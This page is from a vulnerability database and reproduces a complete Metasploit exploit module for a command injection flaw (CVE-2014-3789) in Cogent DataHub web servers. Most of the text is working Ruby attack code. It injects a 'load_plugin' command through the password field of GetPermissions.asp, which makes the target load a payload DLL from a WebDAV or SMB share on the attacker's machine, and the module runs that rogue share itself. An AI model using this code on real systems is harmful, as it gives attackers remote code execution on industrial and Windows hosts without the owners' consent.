Lucene search
K

Cogent DataHub Command Injection Exploit

🗓️ 27 Jun 2014 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 40 Views

Cogent DataHub Command Injection Exploit. Injection vulnerability in Cogent DataHub prior to 7.3.5 allows execution of arbitrary commands and scripts. Tested on Windows 7 SP1

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-3789
25 Jun 201400:00
circl
Check Point Advisories
Cogent DataHub Web Server GetPermissions.asp Command Injection (CVE-2014-3789)
25 Jun 201400:00
checkpoint_advisories
CVE
CVE-2014-3789
22 May 201423:00
cve
Cvelist
CVE-2014-3789
22 May 201423:00
cvelist
Exploit DB
Cogent DataHub - Command Injection (Metasploit)
25 Jun 201400:00
exploitdb
ICS
Cogent DataHub Code Injection Vulnerability
19 Apr 201406:00
ics
ICS
Cogent DataHub Code Injection Vulnerability
6 Jun 201506:00
ics
Metasploit
Cogent DataHub Command Injection
4 Jun 201415:29
metasploit
NVD
CVE-2014-3789
22 May 201423:55
nvd
Packet Storm
Cogent DataHub Command Injection
25 Jun 201400:00
packetstorm
Rows per page
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  # Exploitation is reliable, but the service hangs and needs manual restarting.
  Rank = ManualRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
 
  def initialize
    super(
      'Name'          => 'Cogent DataHub Command Injection',
      'Description'   => %q{
        This module exploits an injection vulnerability in Cogent DataHub prior
        to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
        makes insecure use of the datahub_command function with user controlled
        data, allowing execution of arbitrary datahub commands and scripts. This
        module has been tested successfully with Cogent DataHub 7.3.4 on
        Windows 7 SP1.
      },
      'Author'      => [
        'John Leitch', # Vulnerability discovery
        'juan vazquez' # Metasploit module
      ],
      'Platform'    => 'win',
      'References'  =>
        [
          ['ZDI', '14-136'],
          ['CVE', '2014-3789'],
          ['BID', '67486']
        ],
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'WfsDelay' => 30,
        'InitialAutoRunScript' => 'migrate -f'
      },
      'Targets'     =>
        [
          [ 'Cogent DataHub < 7.3.5', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 29 2014'
    )
    register_options(
      [
        OptString.new('URIPATH',   [ true,  'The URI to use (do not change)', '/']),
        OptPort.new('SRVPORT',     [ true,  'The daemon port to listen on ' +
                                                      '(do not change)', 80 ]),
        OptInt.new('WEBDAV_DELAY', [ true,  'Time that the HTTP Server will ' +
                                          'wait for the payload request', 20]),
        OptString.new('UNCPATH',   [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end
 
  def autofilter
    false
  end
 
  def on_request_uri(cli, request)
    case request.method
      when 'OPTIONS'
        process_options(cli, request)
      when 'PROPFIND'
        process_propfind(cli, request)
      when 'GET'
        process_get(cli, request)
      else
        vprint_status("#{request.method} => 404 (#{request.uri})")
        resp = create_response(404, "Not Found")
        resp.body = ""
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
    end
  end
 
  def process_get(cli, request)
 
    if blacklisted_path?(request.uri)
      vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      cli.send_response(resp)
      return
    end
 
    if request.uri.include?(@basename)
      print_status("GET => Payload")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_dll({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end
 
    # Treat index.html specially
    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      vprint_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")
 
      resp.body  = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
      resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end
 
    # Anything else is probably a request for a data file...
    vprint_status("GET => DATA (#{request.uri})")
    data = rand_text_alpha(4 + rand(4))
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end
 
  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
                    + ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
                    + 'LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end
 
  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    vprint_status("PROPFIND #{path}")
 
    if path !~ /\/$/
 
      if blacklisted_path?(path)
        vprint_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end
 
      if path.index(".")
        vprint_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        vprint_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end
 
    vprint_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|
 
    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
        when 0
          body << generate_shares(path)
        when 1
          body << generate_files(path)
      end
    else
      vprint_status "PROPFIND => 207 Top-Level Directory"
    end
 
    body << "</D:multistatus>"
 
    body.gsub!(/\t/, '')
 
    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end
 
  def generate_shares(path)
    share_name = @share_name
    %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end
 
  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2
 
    base  = @basename
    exts  = @extensions.gsub(",", " ").split(/\s+/)
    files = ""
    exts.each do |ext|
      files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
    end
 
    files
  end
 
  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end
 
  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end
 
  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    share_path = "/#{@share_name}"
    payload_path = "#{share_path}/#{@basename}.dll"
    case uri
      when payload_path
        return false
      when share_path
        return false
      else
        return true
    end
  end
 
  def check
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
      'vars_post' =>
        {
          'username' => rand_text_alpha(4 + rand(4)),
          'password' => rand_text_alpha(4 + rand(4))
        }
      })
 
    if res && res.code == 200 && res.body =~ /PermissionRecord/
        return Exploit::CheckCode::Detected
    end
 
    Exploit::CheckCode::Safe
  end
 
  def send_injection(dll)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
      'vars_post' =>
        {
          'username' => rand_text_alpha(3 + rand(3)),
          'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
                        "(load_plugin \"#{dll}\" 1)(\""
        }
      }, 1)
 
    res
  end
 
  def on_new_session(session)
    if service
      service.stop
    end
 
    super
  end
 
  def primer
    print_status("#{peer} - Sending injection...")
    res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
    if res
      print_error("#{peer} - Unexpected answer")
    end
  end
 
  def exploit
    if datastore['UNCPATH'].blank?
      @basename = rand_text_alpha(3)
      @share_name = rand_text_alpha(3)
      @extensions = "dll"
      @system_commands_file = rand_text_alpha_lower(4)
 
      if (datastore['SRVHOST'] == '0.0.0.0')
        @myhost = Rex::Socket.source_address('50.50.50.50')
      else
        @myhost = datastore['SRVHOST']
      end
 
      @exploit_unc  = "\\\\#{@myhost}\\"
 
      if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
        fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
                  'URIPATH=/')
      end
 
      print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
                    "\\#{@basename}.dll")
 
      begin
        # The Windows Webclient needs some time...
        Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
      rescue ::Timeout::Error
        service.stop if service
      end
    else
      # Using external SMB Server
      if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
        host = $1
        share_name = $2
        dll_name = $3
        print_status("#{peer} - Sending injection...")
        res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
        if res
          print_error("#{peer} - Unexpected answer")
        end
      else
        fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
                  '\\\\host\\shared_folder\\base_name.dll')
      end
    end
  end
 
end

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jun 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.71003
40